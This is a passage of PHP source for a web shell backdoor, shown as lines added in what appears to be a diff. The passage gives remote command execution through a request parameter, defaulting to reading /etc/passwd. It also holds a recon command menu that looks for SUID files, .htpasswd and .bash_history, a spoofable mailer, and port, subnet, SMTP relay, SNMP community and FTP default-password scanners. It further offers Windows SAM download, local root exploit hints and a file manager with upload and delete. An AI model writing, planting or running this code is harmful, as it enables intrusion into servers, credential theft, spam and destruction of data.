-print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>"; +if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>"; +if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>"; +} +echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>"; +if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']); +echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et"; +} +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='evil@hell.gov' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et"; +} +function scanneR(){ +global $hcwd,$et; +if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1'; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0; +echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>'; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if(checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=''; +if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')'; +echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";} +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +} +elseif(!empty($_REQUEST['securityscanner'])){ +echo '<font color=blue>'; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f=substr($from,strrpos($from,'.')+1); +$from=substr($from,0,strrpos($from,'.')); +if(!empty($_REQUEST['httpscanner'])){ +echo 'Loading webserver bug list...'; +$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL'); +$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>'; +}else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;} +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port; +$open=$ser=''; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if($scan){ +$ser=''; +if($ser=getservbyport($po,'tcp'))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open<br>";$output=1;} + +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo 'Unknow'; +else echo $res; +echo '<br>'; +$output=1; +} +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@ADMINDIRS')) +foreach($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@USERS')) +foreach($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@NUKE')) +foreach($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;} +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=''; +if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com; +foreach($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms.=" $v "; +} +if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} +} +} +if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=ftp_connect($ip,21,$timeout); +if($ftp){ +if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";} +} +} +} +} +if($output)echo '<hr size=1 noshade>'; +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +if(!empty($buglist))unlink($buglist); +} +elseif(!empty($_REQUEST['directoryscanner'])){ +$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1']; +echo "<font color=blue><pre>Scanning started...\n"; +for($i=0;$i<count($dir);$i++){ +$d=trim($dir[$i]); +if($r){ +$adr="http://$host/$d/"; +if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";} +}else{ +$adr="$d.$host"; +$ip=gethostbyname($adr); +if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";} +} +} +echo 'Done!</pre></font>'; +} +else{ +$t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'"; +$chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; +echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>"; +$host=substr($host,0,strrpos($host,".")); +echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$cwd,$safemode; +$t8="<td width='25%' bgcolor='#808080'>"; +$t6="<td width='25%' bgcolor='#666666'>"; +$mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program="; +$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF'; +if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER']; +$osver=$tsize=$fsize=''; +$ds=implode(' ',$disablefunctions); +if($windows){ +$osver=' ('.shelL('ver').')'; +$sysroot=shelL("echo %systemroot%"); +if(empty($sysroot))$sysroot=$_SERVER['SystemRoot']; +if(empty($sysroot))$sysroot = getenv('windir'); +if(empty($sysroot))$sysroot = 'Not Found'; +if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%'); +for($i=66;$i<=90;$i++){ +$drive=chr($i).':\\'; +if(is_dir($drive)){ +$fsize+=disk_free_space($drive); +$tsize+=disk_total_space($drive); +} +} +}else{ +$ap=shelL('whereis apache'); +if(!$ap)$ap='Unknow'; +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$xpl=rootxpL();if(!$xpl)$xpl='Not found.'; +$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize); +if(empty($CPU))$CPU='Unknow'; +$os=php_uname(); +$osn=php_uname('s'); +if(!$windows){ +$ker=php_uname('r'); +$o=($osn=='Linux')?'Linux+Kernel':$osn; +$os=str_replace($osn,"${mil}$o'>$osn</a>",$os); +$os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os); +$inpa=':'; +}else{ +$sam=$sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os); +} +$cuser=get_current_user(); +if(!$cuser)$cuser='Unknow'; +$software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']); +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>$cuser</td></tr>"; +if($windows){ +echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>'; +} +else +{ +echo "<tr>${t8}UID - GID:</td><td bgcolor='#808080'>".getmyuid().' - '.getmygid()."</td></tr><tr>${t6}Recommended local root exploits:</td><td bgcolor='#666666'>$xpl</td></tr><tr>${t8}Passwd file:</td><td bgcolor='#808080'>"; +if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: "; +if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>'; +} +echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v</a> $i ";}echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr></table>"; +} +function checksuM($file){ +global $et; +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et"; +} +function listdiR($cwd,$task){ +$c=getcwd(); +$dh=opendir($cwd); +while($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr=$cwd.DIRECTORY_SEPARATOR.$cont; +switch($task){ +case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;} +} +if(is_dir($adr))listdiR($adr,$task); +} +} +if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}} +if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}} +function filemanageR(){ +global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd; +$table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>"; +$td1n="<td width='22%' bgcolor='#666666'>"; +$td2m="<td width='22%' bgcolor='#808080'>"; +$td1i="<td width='5%' bgcolor='#666666'>"; +$td2i="<td width='5%' bgcolor='#808080'>"; +$tdnr="<td width='22%' bgcolor='#800000'>"; +$tdw="<td width='22%' bgcolor='#006E00'>"; +if(!empty($_REQUEST['task'])){ +if(!empty($_REQUEST['search']))$_REQUEST['task']=7; +if(!empty($_REQUEST['re']))$_REQUEST['task']=6; +echo '<font color=blue><pre>'; +listdiR($cwd,$_REQUEST['task']); +echo '</pre></font>'; +}else{ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title='Destination'; +$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis=(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad=$_REQUEST['rN']; +$title='New name'; +$dis='Rename'; +} +if(!!empty($_REQUEST['deS'])){ +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>"; +}else{ +if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if(!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);} +if(!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>"; +} +$select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='"; +if(!empty($_REQUEST['newf'])){ +if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');} +if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);} +} +if($windows){ +echo "$table<td><b>Drives:</b> "; +for($i=66;$i<=90;$i++){$drive=chr($i).':'; +if(is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";} +} +echo $et; +} +echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et"; +$file=$dir=$link=array(); +if($dirhandle=opendir($cwd)){ +while($cont=readdir($dirhandle)){ +if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont; +elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>"; +$i=0; +foreach($dir as $dn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date('Y/m/d H:i:s',filemtime($dn)); +$adate=date('Y/m/d H:i:s',fileatime($dn)); +$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>"; +if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>"; +if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>'; +echo "$cl1------</td>"; +echo $cl2.$diraction; +echo '</tr>'; +} +foreach($file as $fn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option 